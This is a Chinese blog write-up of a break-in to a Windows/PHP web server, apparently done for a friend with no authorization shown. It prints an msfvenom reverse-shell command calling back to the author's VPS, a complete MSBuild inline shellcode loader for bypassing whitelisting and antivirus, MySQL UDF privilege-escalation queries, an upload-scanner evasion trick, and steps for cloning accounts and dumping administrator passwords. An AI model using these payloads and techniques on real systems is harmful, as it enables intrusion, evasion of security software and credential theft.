酷帥王子'blog-思想激进者,一搞网络安全的市井小儿,随波逐流之辈也!

白名单执行绕过安全狗360套装云锁提权

2019-8-19 10:34 作者:酷帥王子 | 黑盒网络渗透测试 |

0x00 前言

平常自己挺喜欢折腾的,有时候遇到一个好的突破点会折腾它个几天几夜,刚刚忙完护网,正准备修整几天,突然有人朋友联系我说有个任务需要搞进去,问我能行不能行,后来得知是已经拿到webshell了,通过一番努力便有了下文。

0x01 前期的信息刺探**

首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图:

IMG_256
c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图:

IMG_257

whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图:

IMG_258
经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故;

0x02 深入

通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图:

IMG_259
在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看

IMG_260
成功将我们想要的exe程序解压到指定目录,webshell下是没法cd到rar目录的,现在能正常上传exe,我们看能不能想办法让咱们的msf不要闲下来,之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,但是弹回来什么权限也没,连ps进程命令都没法显示,这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线,于是就开始动手,具体如下:
首先使用msf生成一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
代码如下:

byte[]buf=newbyte[179779]{
 
0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,
0x7c,0x74,0x31。。。代码太长省略。。。
};
 
UInt32funcAddr=VirtualAlloc(0,(UInt32)shellcode.Length,
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode,0,(IntPtr)(funcAddr),shellcode.Length);
IntPtrhThread=IntPtr.Zero;
UInt32threadId=0;
IntPtrpinfo=IntPtr.Zero;
hThread=CreateThread(0,0,funcAddr,pinfo,0,refthreadId);
WaitForSingleObject(hThread,0xFFFFFFFF);
returntrue;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

用msf生产的代码替换原始代码的内容,这是原始payload如下:

<ProjectToolsVersion="4.0"xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Thisinlinetaskexecutesshellcode.-->
<!--C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exeSimpleTasks.csproj-->
<!--SaveThisFileAndExecuteTheAboveCommand-->
<!--Author:CaseySmith,Twitter:@subTee-->
<!--License:BSD3-Clause-->
<TargetName="Hello">
<ClassExample/>
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
 
<CodeType="Class"Language="cs">
<![CDATA[
usingSystem;
usingSystem.Runtime.InteropServices;
usingMicrosoft.Build.Framework;
usingMicrosoft.Build.Utilities;
publicclassClassExample:Task,ITask
{
privatestaticUInt32MEM_COMMIT=0x1000;
privatestaticUInt32PAGE_EXECUTE_READWRITE=0x40;          [DllImport("kernel32")]
privatestaticexternUInt32VirtualAlloc(UInt32lpStartAddr,
UInt32size,UInt32flAllocationType,UInt32flProtect);          [DllImport("kernel32")]
privatestaticexternIntPtrCreateThread(
UInt32lpThreadAttributes,
UInt32dwStackSize,
UInt32lpStartAddress,
IntPtrparam,
UInt32dwCreationFlags,
refUInt32lpThreadId
);          [DllImport("kernel32")]
privatestaticexternUInt32WaitForSingleObject(
IntPtrhHandle,
UInt32dwMilliseconds
);
publicoverrideboolExecute()
{
byte[]shellcode=newbyte[179779]{
这里是msf生成的c#shellcode,代码太长省略
};
UInt32funcAddr=VirtualAlloc(0,(UInt32)shellcode.Length,
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode,0,(IntPtr)(funcAddr),shellcode.Length);
IntPtrhThread=IntPtr.Zero;
UInt32threadId=0;
IntPtrpinfo=IntPtr.Zero;
hThread=CreateThread(0,0,funcAddr,pinfo,0,refthreadId);
WaitForSingleObject(hThread,0xFFFFFFFF);
returntrue;
}
}
]]>
</Code>
</Task>
</UsingTask></Project>

需要注意的是必须改成shellcode如图:
IMG_261
然后上传到web目录,nc反弹继续执行如下命令:

cdC:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exeD:\1\1111.com\uploadfile\19200\443.csproj

这时候监听好的msf就会返回一个meterpreter如图:
IMG_262
试着在shell和meterpreter下执行exp都提示拒绝访问,如图:
IMG_263
但是测试upload上传命令确实是成功调出w3wp.exe 进程,经过一番努力无果,只好换思路解决。

0x03 MySQL udf提权

通过上面的一些测试,已经无望了,这时候就想着用其他办法,经过测试发现网站支持asp,就上传了一个aspshell,各种翻目录各种测试,终于在网站的二级目录数据库配置文件发现了mysql root密码,OK,上传udf提权php马,在具体测试过程中发现,市面上的udf Php工具都被某安全程序被杀了,我发现把被杀的php后缀修改为csproj上传不杀了,要不然无论把被杀的php换成什么后缀名都不行,然后再通过PHP包含这个文件,就可以突破了(也不知道算不算是个某防护程序的一个bug,总之用这种办法让udf工具跑起来了),如图:

IMG_264
然后按常规导入dll,提示dll导入成功,创建sys_eval 函数执行命令,却又提示函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试过程没少折腾,用portfwd命令转发目标3306到本地,利用sqlmap -d 上传dll提示不成功,后来用--file-write命令上传dll到system32下也失败了,但是发现上传非二进制的文件的话是成功的,后来通过查看权限证明不是权限问题如图:
select * from mysql.user where user = substring_index(user(), '@', 1) ;

IMG_265
权限都很OK,很悲催dll被禁止上传,可恶的安全防护呀,通过查询发现几个自定义函数,如图:

IMG_266
发现udf.dll已经被占坑了,我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图:

IMG_267
我们利用php环境把它转成dll,代码如下:

<?phpechofile_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));?>

成功把它还原成dll文件,用c32am打开看一下他的用法如图:

IMG_268
看看这个shell函数的用法,

IMG_269
正好和dll里面的信息一致,但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死,后来试了exec,select shell('exec','whoami');,如图:

IMG_270
说明这个exec可以绕过安全防护执行命令,接下来的测试中打算使用msf来操作,于是给目录上传了个免杀的msf工具,过全世界所有的杀毒用法 msf vpsip 443,但是监听好的msf一直没返回来meterpreter,后来没办法又用白名单执行命令成功上线(奇怪的还在后面)命令如下:select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错

IMG_271
但是奇怪的是已经成了system权限却没办法shell,这也正是这个目标奇葩的地方,执行shell卡死,后来ps了一下进程发现administrator的进程migrate pid,然后再执行shell成功执行,并且也可以执行net user 等命令如图:

IMG_272

很OK,直接net user添加账号肯定不行,利用userclone克隆添加账号密码,账号添加成功,但是加入到管理员组失败,手里有杀某防护程序的神器,但是似乎用不上,杀完需要重启动静太大,OK,这时候发现administrator在线直接上传getpassword64免杀版抓明文密码,得到administrator的明文密码,试着用msf模块抓一下密码,如下:
IMG_273
没有成功,因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证,可以正常登录,所以也不涉及绕过认证登录的问题。登录如图:

IMG_274

渗透到此就结束了。

0x04 总结

主要还是白名单绕过执行程序及配合udf提权,碰到前人留下的udf后门直接提到system,剩下就是一顿乱折腾,不过也不白折腾,摸着石头过河没什么不好;第一次在先知改版后写文章,文章排版之类的还是不太熟悉,可能写的不尽人意,还是请多包涵。。。。。这里要感谢先知V师傅,莫须有等好兄弟的大力支持,一晚上陪我熬夜。。。

 

文章作者:酷帥王子
文章地址:https://9kb.org:443/post-107.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

发表评论:



Powered by 酷帥王子

CopyRight © 2009-2016 酷帥王子'blog.  All rights reserved.